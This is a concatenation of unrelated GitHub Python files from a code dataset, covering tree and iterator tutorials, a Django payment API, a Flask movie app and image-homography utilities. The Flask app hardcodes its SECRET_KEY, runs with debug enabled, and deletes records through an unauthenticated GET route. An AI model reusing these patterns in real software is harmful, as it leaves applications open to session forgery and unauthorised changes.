outputs","repo_name":"febert/robustness_via_retrying","sub_path":"python_visual_mpc/video_prediction/basecls/ops/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"74037132678","text":"import queueLinkedList as queue\n# --- Initializing a Tree Node\nclass TreeNode:\n def __init__(self,data):\n self.data = data\n self.leftChild = None\n self.rightChild = None\n \n\nnewBTree = TreeNode(\"Drinks\") #--Initialize Binary Tree by Creating Root Node\nleftChild = TreeNode(\"Hot\") #-- Create Left Child\nrightChild = TreeNode(\"Cold\") #-- Create Right Node\ntea = TreeNode(\"Tea\")\ncoffee = TreeNode(\"Coffee\")\ncola = TreeNode(\"Cola\")\nfanta = TreeNode(\"Fanta\")\nleftChild.leftChild = tea\nleftChild.rightChild = coffee\nrightChild.leftChild = cola\nrightChild.rightChild = fanta\nnewBTree.leftChild = leftChild #-- Add Left Child\nnewBTree.rightChild = rightChild #-- Add Right Child\n\n# --- Pre Order Traversal(Root --> LST --> RST)\ndef preOrderTraversal(rootNode):\n if not rootNode: # ----> O(1)\n return\n print(rootNode.data)\n preOrderTraversal(rootNode.leftChild) # ----> O(n/2)\n preOrderTraversal(rootNode.rightChild) # ----> O(n/2)\n \n #---- Time Complexity --- O(n)\n #---- Space Complexity --- O(n) [As we are using Stack Memory]\n\n# --- In Order Traversal(LST --> Root Node --> RST)\ndef inOrderTraversal(rootNode):\n if not rootNode: return #----> O(1)\n inOrderTraversal(rootNode.leftChild) # ----> O(n/2)\n print(rootNode.data)\n inOrderTraversal(rootNode.rightChild) # ----> O(n/2)\n\n #---- Time Complexity --- O(n)\n #---- Space Complexity --- O(n) [As we are using Stack Memory]\n\n# --- Post Order Traversal(LST --> RST --> Root Node)\ndef postOrderTraversal(rootNode):\n if not rootNode: return\n postOrderTraversal(rootNode.leftChild)\n postOrderTraversal(rootNode.rightChild)\n print(rootNode.data)\n #---- Time Complexity --- O(n)\n #---- Space Complexity --- O(n) [As we are using Stack Memory]\n\n# --- Level Order Traversal(Traverse Level By Level)\ndef levelOrderTraversal(rootNode):\n if not rootNode: return # -----> O(1)\n else:\n customQueue = queue.Queue() # -----> O(1)\n customQueue.enqueue(rootNode) # -----> O(1)\n while not(customQueue.isEmpty()): # -----> O(n)\n root = customQueue.dequeue() \n print(root.value.data) \n if (root.value.leftChild is not None):\n customQueue.enqueue(root.value.leftChild) # -----> O(1)\n if (root.value.rightChild is not None):\n customQueue.enqueue(root.value.rightChild) # -----> O(1)\n #---- Time Complexity --- O(n)\n #---- Space Complexity --- O(n) [As we are Creating Custom Queue Memory]\n \n# --- Searching a Binary Tree\ndef searchBinaryTree(rootNode,nodeValue):\n if not rootNode: return \"Binary Tree Does Not Exists\" \n else:\n customQueue = queue.Queue()\n customQueue.enqueue(rootNode)\n while not(customQueue.isEmpty()):\n root = customQueue.dequeue()\n if root.value.data == nodeValue:\n return \"Node Exists in Binary Tree\"\n # print(root.value.data)\n if (root.value.leftChild is not None):\n customQueue.enqueue(root.value.leftChild)\n if (root.value.rightChild is not None):\n customQueue.enqueue(root.value.rightChild)\n return \"Node Does Not Exist in Binary Tree\"\n\n# --- Inserting a Node\ndef insertNodeBTree(rootNode,newNode):\n if not rootNode:\n rootNode = newNode\n else:\n customQueue = queue.Queue()\n customQueue.enqueue(rootNode) \n while not(customQueue.isEmpty()):\n root = customQueue.dequeue()\n if root.value.leftChild is not None:\n customQueue.enqueue(root.value.leftChild)\n else:\n root.value.leftChild = newNode\n return \"Node successfully Inserted\"\n if root.value.rightChild is not None:\n customQueue.enqueue(root.value.rightChild)\n else:\n root.value.rightChild = newNode\n return \"Node successfully Inserted\"\n\n# --- Get the Deepest Node\ndef getDeepestNode(rootNode):\n if not rootNode: return \"Binary Tree Does Not Exists\" \n else:\n customQueue = queue.Queue()\n customQueue.enqueue(rootNode)\n while not(customQueue.isEmpty()):\n root = customQueue.dequeue()\n if (root.value.leftChild is not None):\n customQueue.enqueue(root.value.leftChild)\n if (root.value.rightChild is not None):\n customQueue.enqueue(root.value.rightChild)\n deepestNode = root.value\n return deepestNode\n\n# --- Delete the Deepest Node\ndef deleteDeepestNode(rootNode,deepestNode):\n if not rootNode:\n return\n else:\n customQueue = queue.Queue()\n customQueue.enqueue(rootNode)\n while not(customQueue.isEmpty()):\n root = customQueue.dequeue()\n if root is deepestNode:\n root.value = None\n return\n if (root.value.leftChild is not None):\n if root.value.leftChild is deepestNode:\n root.value.leftChild = None\n return\n else:\n customQueue.enqueue(root.value.leftChild)\n if (root.value.rightChild is not None):\n if root.value.rightChild is deepestNode:\n root.value.rightChild = None\n return\n else:\n customQueue.enqueue(root.value.rightChild)\n\n# --- Delete a Custom Node\ndef deleteNodeBtree(rootNode,node):\n if not rootNode:\n return\n else:\n customQueue = queue.Queue()\n customQueue.enqueue(rootNode)\n while not customQueue.isEmpty():\n root = customQueue.dequeue()\n if root.value.data == node:\n dNode = getDeepestNode(rootNode)\n root.value.data = dNode.data\n deleteDeepestNode(rootNode,dNode)\n return \"Node Has Been Successfully Deleted\"\n if root.value.leftChild is not None:\n customQueue.enqueue(root.value.leftChild)\n if root.value.rightChild is not None:\n customQueue.enqueue(root.value.rightChild)\n return \"Node is Not Found\"\n\n# --- Delete Entire Binary Tree\ndef deleteBinaryTree(rootNode): #--- Time Complexity - O(1)\n rootNode.data = None \n rootNode.leftChild = None \n rootNode.rightChild = None\n return \"Binary Tree has been deleted successfully\" \n\nprint(\"Preorder Traversal : \")\npreOrderTraversal(newBTree)\nprint(\"Inorder Traversal : \")\ninOrderTraversal(newBTree)\nprint(\"PostOrder Traversal : \")\npostOrderTraversal(newBTree)\nprint(\"LevelOrder Traversal : \")\nlevelOrderTraversal(newBTree)\nprint(\"-----*****-----\")\nprint(searchBinaryTree(newBTree,\"Coffee\"))\nprint(searchBinaryTree(newBTree,\"Pepsi\"))\n\npepsi = TreeNode(\"Pepsi\")\nprint(insertNodeBTree(newBTree,pepsi))\nprint(\"LevelOrder Traversal : \")\nlevelOrderTraversal(newBTree)\nprint(\"-----*****-----\")\ndeepestNode = getDeepestNode(newBTree)\nprint(deepestNode.data)\n# print(\"-----*****-----\")\n# deleteDeepestNode(newBTree,deepestNode)\n# levelOrderTraversal(newBTree)\nprint(deleteNodeBtree(newBTree,\"Hot\"))\nlevelOrderTraversal(newBTree)\nprint(\"-----*****-----\")\ndeleteBinaryTree(newBTree)\nlevelOrderTraversal(newBTree)","repo_name":"arnabdutta2194/DS-ALGO-CP","sub_path":"DS-ALGO/9. Binary Tree/binaryTree.py","file_name":"binaryTree.py","file_ext":"py","file_size_in_byte":7262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31124522889","text":"from itertools import *\nimport collections\nfrom copy import deepcopy\n\ndef peek(iterable):\n \"\"\"Peek at the first element of `iterable`.\n\n Returns a tuple of the form (first_element, iterable).\n\n Once peek() has been called, the original iterable will be modified if it\n was an iterator (it will be advanced by 1); use the returned iterator for\n an equivalent copy of the original iterable.\n \"\"\"\n it = iter(iterable)\n first_element = next(it)\n return first_element, chain([first_element], it)\n\ndef repeatfunc(func, times=None, *args):\n \"\"\"Repeat calls to func with specified arguments.\n\n Example: repeatfunc(random.random)\n \"\"\"\n if times is None:\n return starmap(func, repeat(args))\n return starmap(func, repeat(args, times))\n\ndef repeatcopy(object, times=None):\n \"\"\"Returns deep copies of `object` over and over again. Runs indefinitely\n unless the `times` argument is specified.\"\"\"\n if times is None:\n while True:\n yield deepcopy(object)\n else:\n for i in range(times):\n yield object\n\ndef repeating_iterator(i, nreps):\n \"\"\"Returns an iterator that emits each element of `i` multiple times\n specified by `nreps`. The length of this iterator is the lenght of `i`\n times `nreps`. This iterator is safe even if the item consumer modifies\n the items.\n\n Examples:\n >>> list(repeating_iterator('ABCD', 3)\n ['A', 'A', 'A', 'B', 'B', 'B', 'C', 'C', 'C', 'D', 'D', 'D']\n >>> list(repeating_iterator('ABCD', 1)\n ['A', 'B', 'C', 'D']\n \"\"\"\n for item in i:\n for counter in range(nreps):\n yield deepcopy(item)\n\ndef grouper(n, iterable, fillvalue=None):\n \"grouper(3, 'ABCDEFG', 'x') --> ABC DEF Gxx\"\n args = [iter(iterable)] * n\n return zip_longest(fillvalue=fillvalue, *args)\n\ndef roundrobin(*iterables):\n \"\"\"roundrobin('ABC', 'D', 'EF') --> A D E B F C\"\"\"\n pending = len(iterables)\n nexts = cycle(iter(it).__next__ for it in iterables)\n while pending:\n try:\n for next in nexts:\n yield next()\n except StopIteration:\n pending -= 1\n nexts = cycle(islice(nexts, pending))\n\ndef unique_everseen(iterable, key=None):\n \"List unique elements, preserving order. Remember all elements ever seen.\"\n # unique_everseen('AAAABBBCCDAABBB') --> A B C D\n # unique_everseen('ABBCcAD', str.lower) --> A B C D\n seen = set()\n seen_add = seen.add\n if key is None:\n for element in filterfalse(seen.__contains__, iterable):\n seen_add(element)\n yield element\n else:\n for element in iterable:\n k = key(element)\n if k not in seen:\n seen_add(k)\n yield element\n\ndef ncycles(iterable, n):\n \"Returns the sequence elements n times\"\n return chain.from_iterable(repeat(tuple(iterable), n))\n\ndef take(n, iterable):\n \"Return first n items of the iterable as a list\"\n return list(islice(iterable, n))\n\ndef consume(iterator, n=None):\n \"Advance the iterator n-steps ahead. If n is none, consume entirely.\"\n # Use functions that consume iterators at C speed.\n if n is None:\n # feed the entire iterator into a zero-length deque\n collections.deque(iterator, maxlen=0)\n else:\n # advance to the empty slice starting at position n\n next(islice(iterator, n, n), None)\n\ndef flatten(listOfLists):\n \"Flatten one level of nesting\"\n return chain.from_iterable(listOfLists)\n","repo_name":"BenLand100/chroma","sub_path":"chroma/itertoolset.py","file_name":"itertoolset.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"18229227693","text":"class Solution:\n def partitionLabels(self, s: str) -> [int]:\n # storing last occurence index number of each character in a dictionary.\n # dictionary key--> character, value--> character's index number\n # value is updated in each iteration for repeated character\n last_occurence = {ch: i for i, ch in enumerate(s)}\n\n # Initializing two variables\n start = end = 0\n # initializing the output list\n output = []\n\n for index, ch in enumerate(s):\n # for each character we compare it's last occurence index number with current end\n # end becomes max of current end and character's last occurence index number\n end = max(end, last_occurence[ch])\n\n if end == index:\n # when end is same as index then partition occurs\n # Next append the partition's length in output list\n output.append(index - start + 1)\n start = index + 1\n\n return output","repo_name":"Riazul-Islam-Rifat/LeetCode","sub_path":"String/763. Partition Labels.py","file_name":"763. Partition Labels.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"859397450","text":"from django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.utils.decorators import method_decorator\nfrom django.utils.translation import gettext_lazy as _\n\nfrom rest_framework.decorators import action\nfrom rest_framework.mixins import CreateModelMixin, RetrieveModelMixin, \\\n UpdateModelMixin, ListModelMixin\nfrom rest_framework.viewsets import GenericViewSet\nfrom drf_yasg import openapi\nfrom drf_yasg.utils import swagger_auto_schema\n\nfrom payments.models import Payment\nfrom business.serializers import PaymentSerializer\nfrom business.permissions import IsBusinessOwnedPayment, IsPaymentNotCompleted\nfrom notifications.helpers.payment_notifications import pay_later_reminder\n\n\n# Arguments for `BusinessPaymentViewSet`\ncls_args = (\n CreateModelMixin,\n UpdateModelMixin,\n RetrieveModelMixin,\n ListModelMixin,\n GenericViewSet\n)\n\n\n@method_decorator(\n name='list',\n decorator=swagger_auto_schema(\n operation_id='business-payment-list',\n tags=['Payments'],\n manual_parameters=[\n openapi.Parameter(\n 'modeOfPayment',\n in_=openapi.IN_QUERY,\n type=openapi.TYPE_STRING,\n description=_('Filter result by the mode of payment.'),\n enum=('CASH', 'BANK', 'CARD', 'CREDIT')\n ),\n openapi.Parameter(\n 'status',\n in_=openapi.IN_QUERY,\n type=openapi.TYPE_STRING,\n description=_('Filter result by the status of payment.'),\n enum=('PENDING', 'COMPLETED', 'FAILED')\n ),\n openapi.Parameter(\n 'orderId',\n in_=openapi.IN_QUERY,\n type=openapi.TYPE_STRING,\n description=_('Filter result by ID of an order object.')\n ),\n openapi.Parameter(\n 'search',\n in_=openapi.IN_QUERY,\n type=openapi.TYPE_STRING,\n description=_('Filter result by customer name or phone number.')\n )\n ],\n responses={\n 200: PaymentSerializer(many=True),\n 401: 'Unauthorized'\n }\n )\n)\n@method_decorator(\n name='create',\n decorator=swagger_auto_schema(\n operation_id='business-payment-create',\n tags=['Payments'],\n responses={\n 201: PaymentSerializer(),\n 401: 'Unauthorized',\n 400: 'Validation Errors'\n },\n request_body=openapi.Schema(\n type=openapi.TYPE_OBJECT,\n properties={\n 'order': openapi.Schema(\n type=openapi.TYPE_STRING,\n format=openapi.FORMAT_UUID\n ),\n 'modeOfPayment': openapi.Schema(\n type=openapi.TYPE_STRING,\n enum=['CASH', 'CARD', 'CREDIT', 'BANK']\n ),\n 'status': openapi.Schema(\n type=openapi.TYPE_STRING,\n enum=['PENDING', 'COMPLETED', 'FAILED'],\n default='PENDING'\n ),\n 'payLaterDate': openapi.Schema(\n type=openapi.TYPE_STRING,\n format=openapi.FORMAT_DATE\n )\n }\n )\n )\n)\n@method_decorator(\n name='retrieve',\n decorator=swagger_auto_schema(\n operation_id='business-payment-detail',\n tags=['Payments'],\n responses={\n 200: PaymentSerializer(),\n 401: 'Unauthorized',\n 404: 'Not Found'\n }\n )\n)\n@method_decorator(\n name='update',\n decorator=swagger_auto_schema(\n operation_id='business-payment-update',\n tags=['Payments'],\n responses={\n 200: PaymentSerializer(),\n 400: 'Validation Errors',\n 401: 'Unauthorized',\n 403: 'Updating completed payment is not allowed.',\n 404: 'Not Found'\n }\n )\n)\n@method_decorator(\n name='partial_update',\n decorator=swagger_auto_schema(\n operation_id='business-payment-partial-update',\n tags=['Payments'],\n responses={\n 200: PaymentSerializer(),\n 400: 'Validation Errors',\n 401: 'Unauthorized',\n 403: 'Updating completed payment is not allowed.',\n 404: 'Not Found'\n }\n )\n)\nclass BusinessPaymentViewSet(*cls_args):\n \"\"\"\n list:\n Payment List\n\n Returns a list (array) of all payments for the current business account.\n\n retrieve:\n Payment Detail\n\n Returns a detail of a payment owned by the current business account.\n\n create:\n Payment Create\n\n Creates a new payment object for the current business account.\n\n **Validation Error Events**
    \n - `orderId` and `modeOfPayments` are all required.\n - `payLaterDate` field is required if `modeOfPayment` has a value `CREDIT`.\n - `orderId` must be unique.\n - `payLaterDate` cannot be date in the past.\n\n update:\n Payment Update\n\n Updates an existing payment object for the current business account.\n\n **Validation Error Events**
    \n - `orderId` and `modeOfPayments` are all required.\n - `payLaterDate` field is required if `modeOfPayment` has a value `CREDIT`.\n - `orderId` must be unique.\n - `payLaterDate` cannot be date in the past.\n\n partial_update:\n Payment Partial Update\n\n Partially updates attributes of an existing payment object for the\n current business account.\n\n **Validation Error Events**
    \n - `orderId` and `modeOfPayments` are all required.\n - `payLaterDate` field is required if `modeOfPayment` has a value `CREDIT`.\n - `orderId` must be unique.\n - `payLaterDate` cannot be date in the past.\n \"\"\"\n queryset = Payment.objects.all()\n serializer_class = PaymentSerializer\n permission_classes = [IsBusinessOwnedPayment]\n\n def get_queryset(self):\n qs = super().get_queryset()\n\n # Filter by the current business account\n business_id = self.kwargs.get('business_id')\n qs = qs.filter(order__business_account__id=business_id)\n\n # Filter by the order_id\n order_id_query = self.request.query_params.get('orderId')\n if order_id_query is not None:\n qs = qs.filter(order__pk=order_id_query)\n\n # Filter by mode of payment\n mode_of_payment_query = self.request.query_params.get('modeOfPayment')\n if mode_of_payment_query is not None:\n qs = qs.filter(mode_of_payment=mode_of_payment_query)\n\n # Filter by payment status\n status_query = self.request.query_params.get('status')\n if status_query is not None:\n qs = qs.filter(status=status_query)\n\n # Search by customer name or phone number\n search_query = self.request.query_params.get('search')\n if search_query is not None:\n qs = qs.filter(\n Q(order__customer__name__icontains=search_query) |\n Q(order__customer__phone_number__icontains=search_query)\n )\n return qs\n\n @swagger_auto_schema(\n operation_id='business-payment-receipt',\n tags=['Payments'],\n responses={\n 200: 'A PDF Download URL',\n 401: 'Unauthorized',\n 404: 'Not Found',\n }\n )\n @action(detail=True, serializer_class=None)\n def receipt(self, request, business_id=None, pk=None):\n \"\"\"\n Payment Receipt\n\n Returns a URL to PDF receipt file for the current payment object.\n \"\"\"\n payment = self.get_object()\n payment.generate_pdf(request)\n response = HttpResponse(payment.pdf_file, content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"Receipt.pdf\"'\n return response\n\n def perform_create(self, serializer):\n payment = serializer.save()\n\n # Create reminder for completed `PAY LATER` payments\n if (payment.mode_of_payment == Payment.CREDIT\n and payment.status == Payment.COMPLETED):\n business_id = self.kwargs.get('business_id')\n pay_later_reminder(payment, business_id, self.request)\n\n def get_permissions(self):\n if self.action in ['update', 'partial_update', 'destroy']:\n self.permission_classes += [IsPaymentNotCompleted]\n return [permission() for permission in self.permission_classes]\n","repo_name":"eyobofficial/Bookkeeping-API","sub_path":"business/views/business_payments.py","file_name":"business_payments.py","file_ext":"py","file_size_in_byte":8431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"11466834168","text":"from flask import Flask, render_template, redirect, url_for, request\nfrom flask_bootstrap import Bootstrap\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\nimport requests\n\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '8BYkEfBA6O6donzWlSihBXox7C0sKR6b'\nBootstrap(app)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///top-10-movies.db\"\ndb = SQLAlchemy(app)\n\nclass RateMovieForm(FlaskForm):\n rating = StringField(label=\"Your Rating out of 10\",validators=[DataRequired()])\n review = StringField(label=\"Your Review\", validators=[DataRequired()])\n done = SubmitField(label=\"Done\")\n\nclass AddMovieForm(FlaskForm):\n title = StringField(label=\"Movie Title\", validators=[DataRequired()])\n done = SubmitField(label=\"Add Movie\")\n\n\nclass Movies(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(200), unique=True, nullable=False)\n year = db.Column(db.Integer, nullable=False)\n description = db.Column(db.String(250), nullable=False)\n rating = db.Column(db.Float, nullable=False)\n ranking = db.Column(db.Integer, nullable=False)\n review = db.Column(db.String(200), nullable=False)\n img_url = db.Column(db.String(200), unique=True, nullable=False)\n\n# db.create_all()\n\n@app.route(\"/\", methods=['GET','POST'])\ndef home():\n all_movies = Movies.query.order_by(Movies.rating).all()\n for i in range(len(all_movies)):\n all_movies[i].ranking = len(all_movies) - i\n db.session.commit()\n return render_template(\"index.html\", movies=all_movies)\n\n@app.route('/edit/', methods=['GET','POST'])\ndef edit(num):\n edit_movie = Movies.query.get(num)\n form = RateMovieForm()\n if request.method == 'POST' and form.validate_on_submit():\n edit_movie.rating = request.form['rating']\n edit_movie.review = request.form['review']\n db.session.commit()\n return redirect(url_for('home'))\n\n return render_template('edit.html', movie=edit_movie, form=form )\n\n@app.route('/delete')\ndef delete():\n del_id = request.args.get('num')\n del_movie = Movies.query.get(del_id)\n db.session.delete(del_movie)\n db.session.commit()\n return redirect(url_for('home'))\n\n@app.route('/add', methods=['GET','POST'])\ndef add():\n form = AddMovieForm()\n if form.validate_on_submit():\n param = {\n 'api_key': 'YOUR_API',\n 'query': request.form['title']\n }\n response = requests.get(url='https://api.themoviedb.org/3/search/movie', params=param).json()\n return render_template('select.html', results=response['results'])\n return render_template('add.html', form=form)\n\n@app.route('/find')\ndef find():\n movie_id = request.args.get('id')\n response = requests.get(url=f'https://api.themoviedb.org/3/movie/{movie_id}',\n params={'api_key': 'YOUR_API', }).json()\n print(response)\n new_movie = Movies(\n title=response['original_title'],\n year=response['release_date'][:4],\n description=response['overview'],\n rating=7.3,\n ranking=10,\n review=\"My favourite character was the caller.\",\n img_url=f\"https://image.tmdb.org/t/p/w500{response['poster_path']}\"\n )\n db.session.add(new_movie)\n db.session.commit()\n return redirect(url_for('edit', num=new_movie.id))\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Shrutihere/Favourite-Movies","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25213882634","text":"\"\"\"Iterative Fibonacci numbers.\"\"\"\ndef getFib(position):\n\tif position == 0:\n\t\treturn 0\n\tif position == 1:\n\t\treturn 1\n\n\tfirst = 0\n\tsecond = 1\n\tfib = first + second\n\tcounter = 2\n\twhile counter != position:\n\t\tfirst = second\n\t\tsecond = fib\n\t\tfib = first + second\n\t\tcounter += 1\n\n\treturn fib\n\n\n# Test cases\nprint(getFib(0))\t# prints 0\nprint(getFib(1))\t# prints 1\nprint(getFib(4))\t# prints 3\nprint(getFib(7))\t# prints 13","repo_name":"SandipanGhosh/Data-Structures-and-Algorithms","sub_path":"fibonacci_iterative.py","file_name":"fibonacci_iterative.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1150579258","text":"from pyrogram import filters\nfrom pyrogram.types import Message\nfrom bot import (\n AUTH_USERS,\n SHOULD_DIS_ALLOW_PMS\n)\nfrom bot.bot import Bot\n\n\ndef pm_filter(_, __, message: Message):\n return (\n SHOULD_DIS_ALLOW_PMS and\n message and\n message.from_user and\n not message.from_user.is_bot and\n not message.from_user.is_contact and\n not message.from_user.is_verified and\n not message.from_user.is_support and\n message.chat and\n message.chat.type == \"private\"\n )\n\n\n@Bot.on_message(\n ~filters.user(AUTH_USERS) &\n filters.create(pm_filter)\n)\nasync def on_other_users_messages(_, message: Message):\n await message.delete()\n","repo_name":"SpEcHiDe/PlayAStream","sub_path":"bot/plugins/on_pm_messages.py","file_name":"on_pm_messages.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"62"} +{"seq_id":"23056825440","text":"\"\"\"\nEvenVizion library.\nhttps://github.com/AIHunters/EvenVizion\n\nSupporting paper at:\nhttps://github.com/AIHunters/EvenVizion/blob/master/EvenVizion-video_based_camera_localization_component.pdf\nThis is licensed under an MIT license. See the LICENSE.md file\nfor more information.\n\nTo describe utils functions.\n\"\"\"\n\nimport json\n\nimport cv2\nimport numpy as np\nimport numpy.linalg as linalg\n\nfrom evenvizion.processing.constants import INFINITY_COORDINATE, \\\n THRESHOLD_FOR_FIND_HOMOGRAPHY, LENGTH_ACCOUNTED_POINTS\n\n\nclass HomographyException(Exception):\n \"\"\"\n A class used to handle the exception.\n\n Attributes\n ----------\n message: : str\n Exception description.\n\n Methods\n ----------\n \"\"\"\n\n def __init__(self, message=\"can't calculate homography matrix\"):\n self.message = message\n super().__init__(message)\n\n\ndef remove_double_matching(pts_a, pts_b):\n \"\"\" Return only unique key points coordinates.\n\n Parameters\n ----------\n pts_a: np.array\n An array of x and y coordinates of each key point which matches with points from pts_b.\n\n pts_b: np.array\n An array of x and y coordinates of each key point which matches with points from pts_a.\n\n Returns\n ----------\n new_pts_a: np.array\n An array of unique matching points from pts_a.\n\n new_pts_b: np.array\n An array of unique matching points from pts_b.\n \"\"\"\n matching_dict = {}\n new_pts_a = []\n new_pts_b = []\n for i, _ in enumerate(pts_a):\n matching_dict[(pts_a[i][0], pts_a[i][1])] = pts_b[i]\n for key, value in matching_dict.items():\n new_pts_a.append(np.array(key))\n new_pts_b.append(value)\n return new_pts_a, new_pts_b\n\n\ndef homography_transformation(vector, matrix_H):\n \"\"\" To apply homography transformation with matrix H to vector.\n\n Parameters\n ----------\n vector: np.array\n An array of x and y vector coordinates, vector[2] should be equal to 1.\n example vector = [21, 457, 1].\n\n matrix_H: np.array\n Homography matrix.\n\n Returns\n ----------\n np.array\n An array of x and y vector coordinates after homography transformation.\n\n \"\"\"\n while len(vector) < 3:\n vector = np.append(vector, [1])\n new_vector = np.dot(matrix_H, vector)\n return new_vector[:-1] / new_vector[-1]\n\n\ndef inverse_homography_transformation(vector, matrix_H):\n \"\"\" To apply inverse homography transformation with matrix H to vector.\n\n Parameters\n ----------\n vector: np.array\n An array of x and y vector coordinates, vector[2] should be equal to 1.\n example vector = [21, 457, 1].\n\n matrix_H: np.array\n Homography matrix.\n\n Returns\n ----------\n np.array\n An array of x and y vector coordinates after inverse homography transformation.\n \"\"\"\n while len(vector) < 3:\n vector = np.append(vector, [1])\n new_vector = np.dot(linalg.inv(matrix_H), vector)\n return new_vector[:-1] / new_vector[-1]\n\n\ndef matrix_superposition(H, matrix_H_superposition, matrix_H_first=False):\n \"\"\" To apply homography transformation with matrix H to vector.\n\n Parameters\n ----------\n H: np.array\n The first matrix for which we want to get superposition.\n\n matrix_H_superposition: np.array\n The second matrix for which we want to get superposition.\n\n\n matrix_H_first: bool, optional\n if you want to get H as a result then set True,\n if you want to multiply H and matrix_H_superposition then set False.\n\n Returns\n ----------\n np.array\n Matrix superposition.\n \"\"\"\n if H is not None:\n if matrix_H_first:\n matrix_H_superposition = H\n else:\n matrix_H_superposition = np.dot(H, matrix_H_superposition)\n matrix_H_superposition = np.divide(matrix_H_superposition, matrix_H_superposition[2][2])\n return matrix_H_superposition\n\n\ndef read_homography_dict(path_to_homography_dict):\n \"\"\" To apply homography transformation with matrix H to vector.\n\n Parameters\n ----------\n path_to_homography_dict: str\n The path to the json with a homography dict.\n json format: {\"frame_no\": {\"H\":[]},\n ...\n \"frame_no\": {\"H\":[]},\n \"resize_info\": {\"h\": (int), \"w\": (int))}}.\n Returns\n ----------\n homography_dict: dict\n A dict of homography matrix.\n format: {frame_no: {\"H\":[]},\n ...\n frame_no: {\"H\":[]}}.\n\n resize_info: dict\n An image shape which is used to get homography dictionary.\n format:{\"h\": (int), \"w\": (int))}.\n \"\"\"\n with open(path_to_homography_dict, \"r\") as curr_json:\n homography_dict = json.load(curr_json)\n if \"resize_info\" in homography_dict:\n resize_info = homography_dict[\"resize_info\"]\n else:\n raise ValueError(\"Specify the height and width of the frame \"\n \"for which the homography matrix was obtained\")\n resize_info = resize_info\n del homography_dict[\"resize_info\"]\n homography_dict = {int(k): v for k, v in homography_dict.items()}\n return homography_dict, resize_info\n\n\ndef superposition_dict(homography_dict):\n \"\"\" To get dict of matrix superposition for each frame.\n\n Parameters\n ----------\n homography_dict: dict\n A dict of homography matrix.\n format: {frame_no: {\"H\":[]},\n ...\n frame_no: {\"H\":[]}}.\n Returns\n ----------\n superposition_homography_dict: dict\n A dictionary of matrix superposition for each frame.\n format: {frame_no: [],\n ...\n frame_no: []}.\n \"\"\"\n\n superposition_homography_dict = {}\n matrix_H_next = None\n H_first = True\n superposition_homography_dict[1] = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]\n for frame_no, frame_H in homography_dict.items():\n matrix_H_next = matrix_superposition(frame_H[\"H\"], matrix_H_next, H_first)\n H_first = False\n superposition_homography_dict[frame_no] = matrix_H_next\n return superposition_homography_dict\n\n\ndef are_infinity_coordinates(coordinates_value):\n \"\"\" To check whether the coordinates are infinite.\n\n Parameters\n ----------\n coordinates_value: np.array, or list\n x and y coordinates you want to check.\n\n Returns\n ----------\n bool\n Are coordinates infinite or not.\n \"\"\"\n try:\n return any(i >= INFINITY_COORDINATE for i in coordinates_value)\n except TypeError:\n return coordinates_value >= INFINITY_COORDINATE\n\n\ndef read_json_with_coordinates(path_to_coordinate):\n \"\"\" To read the json file with coordinate.\n\n Parameters\n ----------\n path_to_coordinate: str\n Path to json with homography dict.\n json format: {\"frame_no\": [{\"x1\":x, \"y1\": y}, ... {\"x1\":x, \"y1\": y}],\n ...\n \"frame_no\": [{\"x1\":x, \"y1\": y}, ... {\"x1\":x, \"y1\": y}]}.\n\n Returns\n ----------\n coordinates: dict\n A dictionary of coordinates.\n format: {frame_no: [{\"x1\":x, \"y1\": y}, ... {\"x1\":x, \"y1\": y}],\n ...\n frame_no: [{\"x1\":x, \"y1\": y}, ... {\"x1\":x, \"y1\": y}]}.\n \"\"\"\n with open(path_to_coordinate, 'r') as path_to_detection:\n coordinates = json.load(path_to_detection)\n coordinates = {int(k): v for k, v in coordinates.items()}\n return coordinates\n\n\ndef get_largest_group_points(r_moving_dict, pts_a, pts_b):\n \"\"\" To read the json with coordinate.\n\n Parameters\n ----------\n r_moving_dict: dict\n A dictionary: key - displacement, value - point number which has this displacement.\n example: {0: [0, 2, 3, ...],\n ...,\n 10: [1, 5, 7, ...].\n\n Returns\n ----------\n new_pts_a: np.array\n The coordinates of points which are located in key with the most number of value.\n \"\"\"\n\n new_pts_a = []\n new_pts_b = []\n k_max_len = None\n max_len = 0\n for key, value in r_moving_dict.items():\n if len(value) > max_len:\n max_len = len(value)\n k_max_len = key\n for i in r_moving_dict[k_max_len]:\n new_pts_a.append(pts_a[i])\n new_pts_b.append(pts_b[i])\n return np.array(new_pts_a), np.array(new_pts_b)\n\n\ndef find_point_displacement(matrix_H, pts_a, pts_b):\n \"\"\" To group points according to their displacement.\n\n Parameters\n ----------\n matrix_H: np.array\n Matrix describing the change between pts_a and pts_b coordinates.\n\n pts_a: np.array\n An array of x and y coordinates of each key point which matches with points from pts_b.\n\n pts_b: np.array\n An array of x and y coordinates of each key point which matches with points from pts_a.\n\n\n Returns\n ----------\n r_moving_dict: dict\n A dictionary: key - displacement, value - points number which has this displacement.\n example: {0: [0, 2, 3, ...],\n ...,\n 10: [1, 5, 7, 